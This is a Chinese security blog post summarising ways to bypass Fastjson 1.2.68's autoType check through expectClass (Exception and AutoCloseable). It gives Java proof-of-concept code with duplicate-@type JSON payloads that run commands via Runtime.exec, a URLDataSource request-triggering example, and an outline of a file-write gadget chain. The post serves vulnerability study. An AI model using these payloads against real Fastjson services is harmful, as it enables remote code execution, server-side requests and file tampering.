Fastjson1.2.68 绕Autotype的一点总结

这篇文章主要总结学习目前网上关于1.2.68下绕过Autotype的一些方法用到的思路。

前置知识:

checkautotype因为是对要进行反序列化的类进行检测的方法

 

所以我们只需要让其返回Class类型的实例即可

一般会有以下几种情况通过验证:

1.autoTypeCheckHandlers不为null,通过此种方式来返回class

2.缓存mapping中的类:

从一处取的,在二处返回

其中在TypeUtils的addMappings中放入了一些基础类,也就是默认可以反序列化的相关类

 

3.不在黑名单,但在白名单之中的类

4.使用了jsonType注解的类

 

 

5.@type反序列化时指定了expectclass,也就是说反序列化的时候指定了期望类

在判断为True时exceptclass不能为以下几种类型

并且反序列化的类不能继承或者实现Classloader、DataSource、RowSet

绕过方法1:

那么如果没有开AutoType,并且如果指定了expectclass,即使要反序列化的类不在白名单中,也可以进行加载不在黑名单中的某些满足条件的类

第一种:

通过Throwable.class

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 extends Exception {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }
    @Override
    public String getMessage() {
        try {
            Runtime.getRuntime().exec(new String[]{"cmd", "/c",domain});
        } catch (IOException e) {
            return e.getMessage();
        }

        return super.getMessage();
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.Exception\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"calc\"\n" +
               "        }";
        JSON.parseObject(a);
    }
}

其中@type第一个类作为excepteclazz(A),二个作为需要反序列化的类(B),这种绕过方式是因为Exception.class在parseConfig的mapping中,因此没到checkAutoType时就已经返回了clazz,那么接着为该类选择反序列化解析器,匹配到Throwable.class。

 接着在反序列化第一个type指定的类时,针对选择的ThorowableDeserializer的deserialize方法,其将把Exception作为expectClass

 

接着继续扫描json字符串后面的,就能获取到要反序列化的类名,也就是第二个@type指定的类名,作为exClassName传入checkAutoType,此时checkAutotype传入的第二个参数为Throable.class也为Exception.class的接口,此时如果exClassName是实现或继承自Throwable就能过checkAutotype

 

那么在json字符串中第二个type处的类名将作为要校验的类名,Throwable将作为这个类的期望类

 

那么此时又因为checkAutotype传入了expectclass,而expectclass又不等于if限制的这几个常见类,所以在这一步expectClassFlag置为True,那么重点来了,此时只要反序列化的类不在黑名单中,那么及时要反序列化的类不在白名单中,只要继承或实现自expectClass,那么通过下图就能调用TypeUtils.loadClass进行加载,返回一个Class类型的实例

 

 然而又因为有接下来的1处和2处的限制,那么要找到jndi这种的类还得实现了Throwable接口的,就很难,这也是比较鸡肋的一点。

 返回clazz后,将通过createException实例化exClass,此时exClass就是返回的第二个type处的类,接着继续解析json将值放入otherValues,然后setvalue放入exClass

 

此时将通过反射为exClass对象赋值,其中method在解析

 

那么最终get的调用在完成赋值以后,将通过调用异常类的所有get方法包括接口以及自身定义的

 

比如调用getMessage时的调用栈如下所示:

绕过方法2:

 y4er师傅博客中写到通过找checkAutoType的调用,看哪里传入的expectClass不为null,那么再看其逻辑,那么下面四个框,只有第二和第四,第四个是绕过点1,那么第二个绕过点就是点2

 

 那么根据type指定的类在选择反序列化解析器时,AutoCloseable类使用的是else分支的javabeanDesearializer

 

此时函数调用栈如下:

那么因为AutoCloseable不在黑名单中并且其在mapping中,因此就可以返回clazz进行加载,因此通过它就能实现反序列化

比如:

import com.alibaba.fastjson.JSON;

import java.io.IOException;

public class testfj1268 implements AutoCloseable {

    private String domain;
    public testfj1268() {
        super();
    }
    public void setDomain(String domain) {
        this.domain = domain;
    }

    public String getDomain() throws IOException {
        System.out.println("tr1ple");
        Runtime.getRuntime().exec(domain);
        return domain;
    }

    public static void main(String[] args) {
       String a = " {\n" +
               "            \"@type\":\"java.lang.AutoCloseable\",\n" +
               "                \"@type\": \"testfj1268\",\n" +
               "                \"domain\": \"             calc      \"\n" +
               "        }";
        JSON.parseObject(a);
    }

    @Override
    public void close() throws Exception {
    }
}

为什么jndi的gadget不好找?因为常见的jndi的gadget都继承自 DataSource 和 RowSet,所以反序列化的类过不了对return clazz的最后的验证。

浅蓝师傅还分享了另一个例子:

import com.alibaba.fastjson.JSON;

import javax.activation.DataSource;
import javax.activation.URLDataSource;
import javax.swing.*;
import java.net.URL;

public class testfj1 extends Exception {

    public testfj1() {

    }

    private DataSource dataSource;

    public DataSource getDataSource() {
        return dataSource;
    }

    public void setDataSource(URL url) {
        this.dataSource = new URLDataSource(url);
    }

    public static void main(String[] args) {
        String a = "{\"@type\":\"java.lang.Exception\",\"@type\":\"testfj1\",\"dataSource\":{\"@type\":\"java.net.URL\",\"val\":\"http://127.0.0.1:8090/exp\"}}";
        JSON.parseObject(a);
    }
}

这个例子中setDataSource的入口参数需要通过@type来赋值,那么URL这个类是在白名单中的,所以能够正常赋值,然而在setDataSource中存在URLDataSource赋值给this.dataSource,那么这样赋值是不经过checkAutoType的逻辑的

因为对于JSON.parseObject来说,在调用parse解析输入端json字符串为obj后,此时要调用一次toJSON转为JSONObject(此时已经完成了setter的调用赋值)

 

那么在拿到testfj1这个类的成员变量以后,因此在JSON.toJSON中取得的反序列化的类testfj1的几个gettter的filed信息,包括从Throwable继承的4个getter和自身的getter共5个

 

 

 那么此时要放入到JSONObject中,那么对于其中的每个键和值都将put一次,那么对于其中的value,又要调用一次tojson(value)

 

那么对于赋值给datasource的URLDataSource而言,也要走一次tojson,因此此时要调用URLDataSource的所有getter

那么根据JavaBeanSerializer中的sortedGetters将循环放入map中,一共有五个filed(每个filedinfo都有一个getter与之对应),那么对应要调用其5个get方法获取其值(用反射来实现)

 

 

那么对于inputStream,要调用URLDataSource的getInputStream

 

 那么在getInputStream中此时将触发请求

此时的函数调用栈如下图所示:

 

 

除了getInputStream,getContentType也能触发

 

文件操作相关gadget:

浅蓝师傅的文章中提到找文件操作相关的gadget的思路:

1.通过set或构造方法指定文件路径的outputStream

2.通过set或者构造方法能够传入字节数组,可以传入outputStream,并且存在write将传入的字节数组写入到传入的outputStream

3.通过set get tostring能够调用flush完成数据写出

比如:

rmb122(学弟太强了)的例子,主要通过fastjson反序列化调用无参构造函数然赋值指定文件的outputStream,再找能够传入这个包含文件路径的stream的类,并能够传入字节数组,然后调用write向这个输出流写入字节数组的,他找的是

java.util.zip.InflaterOutputStream,然后通过最外层的marshalOutputStream来调用write完成写入文件

 

 在parseobject解析到MarshalOutputStream后要反射通过构造器来实例化得到该类的对象,因此此时走到super(out),out中存储着inflaterOutputstream用来写数据

 

在drain总将调用this.out.write来写数据

 

 

而inflater中out就是fileoutstream,存储输出路径

 

调用栈如下图所示:

参考:

https://b1ue.cn/archives/348.html

https://b1ue.cn/archives/382.html

https://y4er.com/post/fastjson-bypass-https://mp.weixin.qq.com/s?__biz=MzUzMjQyMDE3Ng==&mid=2247484413&idx=1&sn=1e6e6dc310896678a64807ee003c4965&chksm=fab2c0c2cdc549d43d21b91f435243661e00bf031aecdbbf5878522e4d03569f3981b2c8e6da&scene=126&sessionid=1597461507&key=1fa15854e5017e78c08db5d4c4c98468f36b29343ef1b65022a40e66f1c344e1cf8d55fd1996da1bca7dd78f1666a508c543e5aa920558e855b4538536162fb3a48c2e3d9a22c3abf40123baa437da55821ba7eff642bf588dee239317e2fbd9a46f89d17b44a50d68ebb463bc393638f9a7661ebde0356853fec50e007a1366&ascene=1&uin=MTcxNzgzMTQyMg%3D%3D&devicetype=Windows+10+x64&version=62090529&lang=zh_CN&exportkey=Ac60y0eMxnT1cqDwGjlpH5c%3D&pass_ticket=Ebbf7kHW%2F%2BiaFTbGKVvcjBwyIOOw3uJLI5JOzhcpgdsECH0q4pah%2B8PjR2AzBt5T-1268/

https://rmb122.com/2020/06/12/fastjson-1-2-68-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E-gadgets-%E6%8C%96%E6%8E%98%E7%AC%94%E8%AE%B0/

 https://mp.weixin.qq.com/s?__biz=MzUzNDMyNjI3Mg==&mid=2247484866&idx=1&sn=23fb7897f6e54cdf61031a65c602487d

https://mp.weixin.qq.com/s?__biz=MzI3MzUwMTQwNg==&mid=2247485312&idx=1&sn=22dddceccf679f34705d987181a328db&scene=21&token=1393640502&lang=zh_CN

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

posted @ 2020-08-15 18:42  tr1ple  阅读(4030)  评论(0编辑  收藏  举报